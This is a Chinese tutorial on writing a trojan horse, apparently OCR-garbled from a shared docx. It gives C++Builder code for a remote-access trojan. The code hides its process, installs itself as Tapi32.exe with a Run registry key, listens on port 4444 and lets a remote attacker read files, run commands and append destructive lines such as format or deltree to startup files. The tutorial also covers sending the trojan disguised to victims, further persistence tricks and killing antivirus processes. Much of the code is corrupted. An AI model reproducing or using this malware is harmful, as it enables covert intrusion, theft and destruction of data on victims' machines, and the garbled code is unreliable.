《木马编写培训教程.docx》由会员分享，可在线阅读，更多相关《木马编写培训教程.docx（35页珍藏版）》请在课桌文档上搜索。
1、木马编写培训教程特洛依木马这个名词大家应该不陌生，自从98年“死牛崇拜”黑客小组公布BaekorifiCe以来，木马犹如平地上的惊雷，使在DOS一WindoWS时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。我那时在电脑报上看到一篇文章，大意是一个菜鸟被人用BO操纵了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！要明白，木马（Trojan）的历史是很悠久的：早在AT&TUnix与BSDUniX十分盛行的年代，木马是由一些玩程式（要紧是C）水平很高的年轻人（要紧是老美）用C或者Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权
2、限。那时木马的要紧方法是诱骗一一先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版DOS的熏陶下长大的，对网络能够说很陌生。直到Win9x横空出世，特别是WinNt的普及，大大推动了网络事业的进展的时候，BO这个用三年后的眼光看起来有点简单甚至能够说是简陋的木马（甚至在Win9x的“关闭程序”对话框能够看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面能够说是一个划时代的软件。自己编写木马，听起来很Cool是不是？！木马一定是由两部分构成一服务器程序（Server）与客户端程序（ClienI
3、）,服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（通常是TCP/IP协议）。为了让大家更好的熟悉木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范与查杀各类已知与未知的木马。首先是编程工具的选择。目前流行的开发工具有C+Builder、VC、VB与DeIPhi,这里我们选用C+Builder（下列简称BCB）；VC尽管好，但GUl设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；DelPhi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公
4、布的B02000源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈一一难道你还给受害者传一个1兆多的动态链接库Msvbvm60.dll吗？启动C+Builder5.0企业版，新建一个工程，添加三个VCL控件：一个是Inlemel页中的SerVerSOCkeI,另两个是Fastnet页中的NMFTP与NMSMTP0ServerSocket的功能是用来使本程序变成一个服务器程序，能够对外服务（对攻击者敞开大门）。SOCkel最初是在UniX上出现的，后来微软将它引入了WindOWS中（包含Win98与WinNt）；后两个控件的作用是用来使程序具有FTP（FileTransferProtocol
5、文件传输协议）与SMTP（SimPIeMaiITranSferPrOlOCOI简单邮件传输协议）功能，大家一看都明白是使软件具有上传下载功能与发邮件功能的控件。FOrm窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个FOrm就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时能够用一些技巧使程序不包含FOrm,就像DeIPhi用过程实现的小程序通常只有17K左右那样。我们首先应该让我们的程序能够隐身。双击FOrm,首先在FOrmCreale事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，事实上说穿了只是是一种被称之为SerViCe的
6、后台进程,它能够运行在较高的优先级下,能够说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegiSterSerViCePrOCeSSO函数注册成服务进程（SerViCePrOCeSS）就能够了。只是该函数的声明在BOrIand预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。首先推断目标机的操作系统是Win9x还是WinNt:DWORDdwVersion=GeiVersion();/得到操作系统的版本号if(dwVersion=0x80000000)操作系统是Win9x,不是WinNlIypedefDWORD(CA
7、LLBACK*LPREGISTERSERVICEPROCESS)(DWORD.DWORD);定义RegiSIerSerViCeProCeSS()函数的原型HinstancehDLL；1.pregisterserviceprocessIPRegiSterSerViCeProCess；hDLL=LoadLibrary(,KERNEL32);力口载RegiSlerSerViCePicessO函数所在的动态链接库KERNEL32.DLLIpRegisterserviceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,RegisterServi
8、ceProcess);得到RegiSterSerViCeProCeS$()函数的地址IpRegisierserviceProcess(GeicurreniProcessId(),1);执行RegiSterSerViCePrOCeSS()函数,隐藏本进程FreeLibrary(hDLL);卸载动态链接库这样就终于能够隐身了（害我敲了这么多代码！）。为什么要推断操作系统呢？由于WinNl中的进程管理器能够对当前进程一览无余，因此没必要在WinNl卜.也使用以上代码（只是你能够使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到System%目录下，比如：CNWindowSWSysiem,并修
9、改注册表，以便启动时自动加载：charTemPPaIhMAX_PATH：定义一个变量GetSystemDirectory(TempPaih,MAX_PATH);/TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径SystemPa(h=AnsiSlring(TempPath);格式化TemPPaIh字符串，使之成为能供编译器使用的样式CopyFiIe(ParamStr(O).c_str(),AnsiString(SyStemPalh+WTapi32.exe).JSlr(),FALSE);将自己拷贝到Sysiem%目录下，并改名为Tap
10、i32.exe,伪装起来Registry=newTRegistry;定义一个TRegiSIry对象，准备修改注册表，这一步必不可少Registry-RootKey=HKEY_LOCAL_MACHINE;设置主键为HKEY_LOCAL_MACHINERegis(ry-OpenKey(,Sof(wareMicrosoftWWWindowsCurreniVersionRun.TRUE);打开键值SoftwareMicrosoftWindowsCurrentVersionRun,假如不存在，就创建之Iry假如下列语句发生特殊，跳至CalCh,以避免程序崩溃if(Registry-ReadSlring(
11、crossbow)!=SysemPaih+”Tapi32.exe)Regisiry-AWriteSlring(croSSbOW,SysiemPaih+”Tapi32.exe);查找是否有crossbow”字样的键值，同时是否为拷贝的目录Sysiem%+Tapi32.exe假如不是，就写入以上键值与内容)catch(.)假如有错误，什么也不做好，FOrmCreaIe过程完成了，这样每次启动都能够自动加载Tapi32.exe,同时在“关闭程序”对话框中看不见本进程了，木马的雏形初现。接着选中ServerSocket控件，在左边的ObjeClInspector中将Active改为true,这样程序一
12、启动就打开特定端口，处于服务器工作状态。再将Porl填入4444,这是木马的端口号，当然你也能够用别的。但是你要注意不要用1024下列的低端端口，由于这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口(只是也有这样一种技术，它有意使用特定端口，由于假如引起冲突，WindoWS也不可能报错JA)。你能够看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用操纵端口(FTPCOnlrOIPorI):同理TNMSMTP的25号端口也是SMTP协议的专用端口。再选中ServerSocket控件，点击Events页，双击OnClientRea
13、d事件，敲入卜冽代码：(FILE*fp=NULL;char*content;inttimes_of_try;charTempFileMAX,PATH;定义了一堆待会儿要用到的变量sprintf(TempFiIe,%s,AnsiString(SyStemPath+AnsiString(,Win369.BAT).c_str();在Sysiem%下建立一个文本文件Win369.bat,作为临时文件使用AnsiStringtemp=Sockei-ReceiveText();接收客户端(攻击者，也就是你自己)传来的数据好，大门敞开了！接着就是修改目标机的各类配置了！A/首先我们来修改AUIOeXeC.b
14、at与COnfigsys吧：if(temp.SubString(0,9)=ediiconf,)假如同意到的字符串的前9个字符是“ediiconf”intnumber=temp.Length();得到字符串的长度inifile_name=atoi(temp.SubSlring(11,1),c_str();将第11个字符转换成integer型，存入file_name变量为什么要取第11个字符，由于第10个字符是空格字符content=(temp.SubSiring(12,number-l1)+n).c_sir();余下的字符串将被作为写入的内容写入目标文件FILE*fp=NULL;charfile
15、name20;chmod(cNauloexec.baTJREADIS_IWRITE);chmod(c:wconfig.sys,sjreadsjwrite)；将两个目标文件的属性改为可读可写if(file_name=l)sprin(f(filename.%s,c:Wautoexec.bat);假如第11个字符是1,就把Autoexec.bat格式化elseif(file_name=2)SPrinIf(EIename,%s,c:Wconfig.sys);假如第H个字符是1,就把COnfig.sys格式化IimeS_of_iry=0;定义计数器while(fp=NULL)假如指针是空f=foen(f
16、ilename,a+*);假如文件不存在，创建之；假如存在，准备在其后添加假如出错，文件指针为空，这样就会重复IimeS_ofJry=IimeS_of_iry+1;计数器加1if(imes_of_lry100)假如已经试了100次了，仍未成功Socket-SendText(FailByOpenFile);就发回FaiIByOpenFiIe的错误信息gotoEND;跳至END处fwrite(content,sizeof(char),strlen(content),fp);写入添加的语句，比如dellree/yC:或者者forma(/q/auloie$lC:,够揖吧？！(close(fp);写完后
17、关闭目标文件Socket-SendText(Sucess);然后发回“Success”的成功信息你现在能够通过网络来察看目标机上的这两个文件了，同时还能够向里面随意添加任何命令。呵呵，这只只是是牛刀小试罢了。朋友，别走开！(未完待续)上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树与文件吧，这在客户端上使用“dir”命令，跟着敲啰：(elseif(temp.SubString(O,3)=(,dir)(假如前3个字符是“dir”intRead_Num;char*CR_LF=n;intattrib;char*filename;DIR*dir;structdirent*e
18、nt;intnumber=temp.Length();得到字符串的长度AnsiStringDir_Name=temp.SubString(5,number-3);从字符串第六个字符开始，将后面的字符存入DiJName变量，这是目录名if(DicName=,)(假如目录名为空Sockei-SendText(FailByOpenDIRVsName);返回“FailByOpenDIR,sName信息gotoEND;跳到ENDchar*dimame;dimame=Dir_Name.c_str();if(dir=opendir(dimame)=NULL)假如打开目录出错Socket-SendText(F
19、ailbyyourDIRVsname!,1);返回“FailByYoUrDlRsName”信息gotoEND;跳到ENDIIimeS_of_iry=0;while(fp=NULL)假如指针是NULLfp=fopen(TempFile,w+);就创建SyStemWin369.bat准备读与写：假如此文件已存在，则会被覆盖IimeS_of_iry=IimeS_of_iry+1;计数器加1if(imes_of_lry100)假如已经试了100次了，仍未成功(真有耐心！)Socket-SendText(FailByOpenFile);就发回“FailByOpenFile”的错误信息gotoEND;并跳
20、到END处Iwhile(ent=readdir(dir)!=NULL)(假如访问目标目录成功if(*(AnsiSlring(dimame).AnsiLastChar()!=VWWV)假如最后一个字符不是“，证明不是根目录filename=(AnsiString(dimame)+,+en(-d.name).c_str();加上字符后将指针指向目录流elsefilename=(AnsiString(dimame)+eni-CLname).c_str();假如是根目录，则不用加a(trib=_rtl_chmod(filename0);得到目标文件的访问属性if(attrib&FA-RDONLY)“&
21、”字符是比较前后两个变量，假如相同返回1,否则返回0fwrite(R,sizeof(char),3,fp);将目标文件属性设为只读elsefwrite(m,sizeof(char),3,fp);失败则写入空格if(attrib&FA-HIDDEN)fwrite(,Hsizeof(char),1,fp);将目标文件属性设为隐藏elsefwritesizeof(char),Lfp);失败则写入空格if(aurib&FA-SYSTEM)fwrite(S,sizeof(char),1,fp);将目标文件属性设为系统elsefwrite(m,sizeof(char),1,fp);失败则写入空格if(at
22、trib&FA.ARCH)fwrite(,A,sizeof(char),1,fp);将目标文件属性设为普通elsefwritesizeof(char),Lfp);失败则写入空格if(aurib&FA-DIREC)fwrite(msizeof(char),9,fp);将目标文件属性设为目录elsefwrite(,sizeof(char),9,fp);失败则写入空格fwrite(ent-d.name,sizeof(char)，strlen(ent-d_name),fp);将目录名写入目标文件fwrite(CR_LFL1fp);写入换行fclose(fp);关闭文件closedir(dir);关闭目
23、录FILE*fpI=NULL;times_of_try=0;while(fpI=NULDfpl=fopen(TempFiIer);打开Win369.bat准备读IimeS_of_iry=times_of_iry+1;计数器加1if(IimeS_Ofjry100)假如已经试了100次了，仍未成功Socket-SendText(FailByOpenFile);就发回FaiIByOpenFiIe的错误信息gotoEND;并跳到END处AnsiStringRetum_Text=,;chartemp-content300;for(inii=0;i300;i+)temp_conien(i=V0;定义的一个
24、空数组Read-Num=fread(iemp_content1,300,fpl);从目标文件中读入前300个字符while(Read-Num=300)(Retum_Text=Return_Text+temp_content;/Retum-Text变量加上刚才的300个字符for(inii=0;inumber-4);将目标文件流存入File-Name变量中IimeS_of_iry=0;while(fp=NULL)(fp=fopen(File_Name.c_str(),r);打开目标文件准备读IimeS_of_iry=IimeS_of_iry+1;计数器加1if(times_of_lry100)(
25、假如已试了100次了Socket-SendText(,FailByOpenFile);返回“FailByOpenFile”的错误信息gotoEND;跳到ENDAnsiStringReturn-Text=;chartemp_content300;for(inti=0;i300:i+)(emp-contenii=,0,;定义一个空数组Read_Num=fread(IemP_Conlen,1,300,fp);从目标文件中读入前300个字符while(Read_Num=300)(Return_Text=Retum_Text+temp_content;/Retum-Text的内容加上刚才的字符for(i
26、nti=0;iSendText(Retum_Text);返回RelUmJTexl的内容，即你查看文件的内容咳咳！累死了！还是来点轻松的吧一一操纵目标机的光驱(注意：mciSendSlringO函数的声明在mmsysiem.h头文件中)：elseif(temp=open)(假如收到的IemP的内容是“open”mciSendSlring(setcdaudiodropen,NULL,0,NULL);就弹出光驱的托盘elseif(temp=close)假如收到的IemP的内容是“close”mciSendSlring(Setcdaudiodoorclosedwait1NULL,0NULL);就收入光
27、驱的托盘。当然你也能够搞个死循环，让他的光驱好好活动活动！JA)接着就是交换目标机的鼠标左右键，代码如卜7elseif(temp=swap)SwapMouseButton(1);交换鼠标左右键，简单吧？然后就是使目标机重新启动。但这里要区分WinNt与Win9x一一NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的，因此我们要给予本程序足够的权限：elseif(temp=reboot)假如收到的IemP的内容是uIempwDWORDdwVersion=GeiVersion();得到操作系统的版本号if(dwVersion0x80000000)操作系统是WinNl,不是W
28、in9xHANDLEhToken;TOKEN_PRIVILEGEStkp;定义变量OpenProcessToken(Ge(CurrentProcessO,TOKEN_ADJUST.PRIVILEGESTOKEN.QUERY,&hToken);/OpenProcessToken()这个函数的作用是打开一个进程的访问令牌/GeiCuentProcessO函数的作用是得到本进程的句柄1.ookupPriviIegeValue(NULL,SE_SHUTDOWN_NAME,100)(Socket-SendText(FailByOpenFile);返回“FailByOpenFile”的信息gotoEND;
29、跳到ENDfwrite(temp.c_str(),sizeof(char),strlen(temp.c_str(),fp);写入欲执行的命令fwrite(CR-TF,sizeof(char)，strlen(CR_TF),fp);写入换行符fclose(fp);关闭Win369.batsystem(TempFiIe);执行Win369.batSocket-SendText(Success);返回“Success”信息你能够直接执行什么Ping与Tracert之类的命令来进一步刺探目标机的网络状况(推断是否是一个企业的局域网)，然后能够进一步攻击，比如Dellree与FOnnal命令。到此，服务器
30、程序的功能已全部完成，但还差容错部分未完成，这样才能避免程序因意外而崩溃。朋友，别走开！(未完待续)啊，超长的OnQienlRead事件终于写完了。最后别忘了要在此服务器源码文件中添加下列头文件：#include/include(dirent.h#include#include（stdio.h#include（process.h#include（io.h）#include（mmsystem.h）至此，服务器端（Server）程序已全部完工！（终于能够好好歇歇了！）别慌！以上代码只是完成了整个木马程序的一半。（“扑通”，有人晕倒了！）下面我们就将乘胜追击一搞定客户端程序（ClienI）!客户端程
31、序事实上是很简单的。另新建一个Forrrb添加一个CIienlSOCkel（与SerVerSOCkel在相同的页下），再添加四个EdilbOX,命名为EdilLEdit2Ed下与Edit%最后添加一个BUllon,CaPtiOn为发送。Edill是输入命令用的，Edil2是准备输入目标机的IP地址用的，Edil3是输入连接端口号用的，Edit4是用来输入欲添加的语句或者显示命令执行的结果的。（头是不是有点大了？！）双击ButtonL在BuUonlClick事件中添加如F代码:if(Edit2-Text=)(Edit3-Text=)return;假如输入IP地址框或者输入端口号椎有一个为空，就什
32、么也不作CIientSocketl-)AddreSS=Edi12-Text;目标IP地址ClientSocketl-Port=a(oi(Edil2-Text.JStr();目标端口号，本例中的44444CIientSocketl-)Open();连接！)选中CiIeniSocketl控件，双击OneonneCIl事件，在ClienISOCkeIICOnneCl下添加如卜.代码:(if(EditI-Texi=edilconfl)(Editl-Text=editconf2)假如是要编辑autoexec.bat或者config.sysSockel-)SendText(Edi(l-Text+Edit4
33、-)Text);发送命令与欲添加的语句elseSockel-)SendText(Editl-Text);否则只发送命令)双击OnRead事件，在ClienISoCkeIIRead卜.添加如卜代码：(AnsiStringReadIn=Socket-)ReceiveText();读入收到的返回信息Edil4-Texl=1;清空编辑框FILE*fp;fp=fopen(,ReadIn.tmp,MwM);建立一个临时文件ReadIn.(mpfwrite(ReadIn.c_sir(),l,10000,fp);写入信息fclose(fp);关闭之Edil4-)Lines-)LoadFromFile(Read
34、in.imp);在编辑框中显示返回的信息为了敲完命令后直接回车就能够发送，我们能够使BUHonl的代码共享。双击EdiIl的OnKeyPreSS命令，输入：if(Key=VK_RETURN)BuUonlClick(Sender);假如敲的是回车键，就与点击BUuOnI一样的效果最后再添加下列头文件：includestdlib.h#includewinbase.h#includefcntl.h#includestdio.h终于写完了！(假如你对简陋的界面不满意，能够自己用BCB中丰富的控件好好完善完善嘛！)按FCIrl+F9进行编译链接吧！关于SerVer,你能够选一个足以迷惑人的图标(我选的是
35、一个目录模样的图标)进行编译，这样不但受害者容易中招，而且便于隐藏自己。接下来就把SerVer程序寄给受害者，诱骗他(她)执行，在你得到他(她)的IP后(这不用我教吧？),就启动CIiem程序，敲入editconflw就编辑AUloeXeCbai文件，敲入aeditconf2w就编辑Config.sys文件，敲入“dirxxx(XXX是目录名)就能够看到目录与文件，敲“typexxx”就能够察看任何文件，输入“open”，弹出目标机的光驱托盘，close”就收入托盘，输入“sw叩”就能够交换受害者的鼠标左右键,输入“rebooi”就启动目标机不用我多说了吧？以上只是一个简单的例子，真正写起木马
36、来要解决的技术问题比这多得多，这得需要扎实的编程功底与丰富的经验。如下的问题就值得认真考虑：首先是程序的大小问题，本程序经编译链接后得到的可执行文件竟有400多K,用ASPaCkI.07压了一下也还有200多K。能够看出不必要的Form是应该去掉的；同时尽量由自己调用底层的APl函数，而尽量少使用BOrland打好包的VCL控件：要尽量使用汇编语言(BCB支持C+与汇编混编)，不但速度会加快，而且大小能够小很多，毕竟木马是越小越好。还有启动方式的选择。出了Win.ini、SySIem.ini之外，也还是那几个注册表键值，如：HKEY_LOCAL_MACHINESoftwareMicrosoft
37、WindowsCurrentVersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesHKEY_CURRENT_USERSoftwareMicrosoflWindowsCurrentVersionRun都己被其他的木马用烂了。现在又开始对exe、dll与区文件的关联程序动手脚了（如冰河与广外女生）。这里涉及到参数传递的问题。得到ParamS汗（）函数传来的参数，启动自己后再启动与之关联的程序，并将参数传递给它，这样就完成了一次“双启动”，而受害者丝亳感受不到有任何特殊。具体键值如：与exe文件建立关
38、联：HKEY-CLASSES-ROOTexefileshellopencomand与Ixt文件建立关联：HKEY-CLASSES-RTtxtfileshellopencommand与dll文件建立关联：HKEY-CLASSES-RTdllfileshellopencommand等，当然还能够自己扩充。目前还有一种新方法：在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTWCurrentVersionWWindows卜添加如下键值AppIniLDLLs=SerVer.dll,这就把SerVer.州注册为系统启动时务必加载的模块（你应该把木马编译成DLL）。
39、下次开机时，木马以动态链接库形式被加载，存在于系统进程中。由于没有它自己的PlD（ProcessID进程识别号），因此在NT的任务管理器中也看不见（只是在“系统信息”“软件环境”一一“已加载的32位模块”中还是能够全面看到当前内存中加载的每一个模块的），这样做的目的是能够使自己的程序更加隐蔽，提高木马的生存能力。木马的功能还能够大大扩充。你能够充分发挥你的想象力一比如上传、下载、新建、改名、移动文件，截图存为jpg文件传回，录音监听成WaV文件，录像成AVl文件，弹光驱，读软驱，关机，重启，不停地挂起，胡乱切换分辨率（烧掉你的显示器），发对话框，不停地打开资源管理器直到死机，杀掉KerneI3
40、2.dll进程使机器暴死，交换鼠标左右键，固定鼠标，限制鼠标活动范围，鼠标不听指挥到处乱窜，记录击键记录（记录上网口令，这需要深入熟悉钩子（HOOk）技术，如键盘钩子与鼠标钩子），窃取重要的密码文件如PWl与Sam文件，格式化磁盘，乱写磁盘扇区（像病毒大爆发），破坏零磁道,乱写BIoS（像CIH）,胡乱设置CMOS,加密MBR、HDPT与FAT（像江民炸弹）真是琳琅满目、心狠手辣呀！而且实现起来并不是很复杂，只只是后面几项需要比较扎实的汇编功底而已（有几项要用到VXd技术）。唉！路漫漫其修远兮，吾将上下而求索假如你想更安全地执行你的入侵活动，就应该像广外女生一样能够杀掉防火墙与杀毒软件的进程。
41、防火墙与杀毒软件监视的是特征码，假如你是新木马，它就不吱一声；但是假如你打开不寻常的端口，它就会跳出来报警。因此最好的办法是启动后立即分析当前进程，查找是否具有常见防火墙与杀毒软件的进程，假如有就杀无赦。比如常见的如：Lockdown,天网防火墙，网络卫兵，kv3000,瑞星，金山毒翁，Pc-Cillin,Panda,Mcafee,NOrlOn与CheCkPoinI。杀掉后，再在特定的内存地址中作一个标记，使它们误以为自己已启动，因此不可能再次启动自己了。针对来自反汇编工具的威胁。假如有人试图将你的木马程序反汇编，他成功后，你的一切秘密就暴露在他的面前了，因此，我们要想办法保护自己的作品。首先想到的是条件跳转，条件跳转关于反向工程来说并不有趣。没有循环，只是跳转，作为使偷窃者令人头痛的路障。这样，就没有简单的反向操作能够执行了。陷阱，另一个我不太确信，但听说有程序使用
